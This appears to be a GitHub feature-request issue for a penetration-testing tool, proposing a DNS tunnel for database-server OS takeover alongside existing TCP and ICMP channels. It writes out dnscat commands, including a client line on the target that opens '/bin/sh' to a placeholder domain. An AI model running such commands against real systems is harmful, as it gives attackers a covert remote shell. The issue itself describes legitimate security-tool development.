Skip to content

Out-of-band DNS channel for OS takeover #30

Description

@bdamele

We have already got OOB database server takeover via TCP (using Metasploit payloads: shell, Meterpreter, VNC), via ICMP (using icmpsh). It is time to implement out-of-band via DNS.

DNS tunneling as a Metasploit shellcode: http://www.skullsecurity.org/blog/?p=611.
Details about dnscat: http://www.skullsecurity.org/wiki/index.php/Dnscat.

Example of string on the authoritative DNS server for tun.yourdomain.org:
sudo ./dnscat --listen

Example of string of the client (target system):
./dnscat --domain tun.yourdomain.org --exec "/bin/sh"

Type commands on the authoritative DNS server for tun.yourdomain.org where you launched dnscat, they will be executed on the client (target system) and standard output shown inline.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions